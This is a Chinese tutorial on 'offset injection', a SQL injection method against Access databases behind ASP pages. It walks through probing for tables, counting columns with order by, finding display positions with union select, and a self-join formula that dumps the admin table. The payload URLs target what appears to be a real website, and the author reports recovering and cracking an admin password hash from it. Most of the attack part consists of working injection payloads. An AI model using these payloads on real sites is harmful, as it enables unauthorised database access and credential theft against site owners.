Access数据库之偏移注入
偏移注入主要是针对知道表,但是不知道字段的。
这里我已经知道了表明是:sys_admin
可以使用:
and exists (select * from sys_admin) |
来猜测是否有sys_admin表,如果说存在的话页面就会显示正常。
00×0 判断数据库
and exists (select * from msysobjects)>0 #Access数据库 and exists (select * from sysobjects)>0 #SQL Server数据库 |
00x1 判断字段数
http://www.test.com/newslist.asp?id=688 order by 19 #错误 http://www.test.com/newslist.asp?id=688 order by 18 #正确 |
00x2 爆出显示位
http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from sys_admin |
00x3 判断表内存在的字段数
接下来我们利用“*”代替admin表内存在的字段,由于是18个字段数,需要逐步测试,直到返回正常。
http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from sys_admin #错误 http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from sys_admin #错误 http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from sys_admin #错误 直到......... http://www.test.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,* from sys_admin #正确 |
说明了sys_admin表下有11个字段。
偏移注入的基本公式为:
order by 出的字段数减去*号的字段数,然而再用
order by的字段数减去2倍刚才得出来的答案
也就是18-11=7
18-7*2=4
得到答案等于:4
然后依旧是套公式的过程。
http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,a.id,b.id,* from (sys_admin as a inner join sys_admin as b on a.id = b.id) #这里union select 1,2,3,4:顾名思义就是刚才得出来的长度。 #后面的是sql,可作公式。 |
如此便爆出了账号密码。 但是我测试的这个网站,略微有点特殊。如下图所示
c7d062ba4138db9f顾名思义是md5加密。此md5解密出来得:fdspme
#注:有点题外话,偏移注入以上已经完成。
但下面的那个数字就有点让人懊恼了。
我说他是ASCII码,你信吗?
最关键的是我也不敢说他是ASCII码
66, 65, 64, 63, 62, 61, 60, 59, 58, 57, 56, 55, 54, 53 一刚开始一眼看下去是ASCII编码,便兴匆匆的一个个解密了。
解密出来是:BA@?>=<;:98763 心中感慨不已,居然那么难。
然而居然是错的。以为是雷池加密,再用雷池解密一下,也还是错的。但是大家有没有注意到。数字! 好有顺序。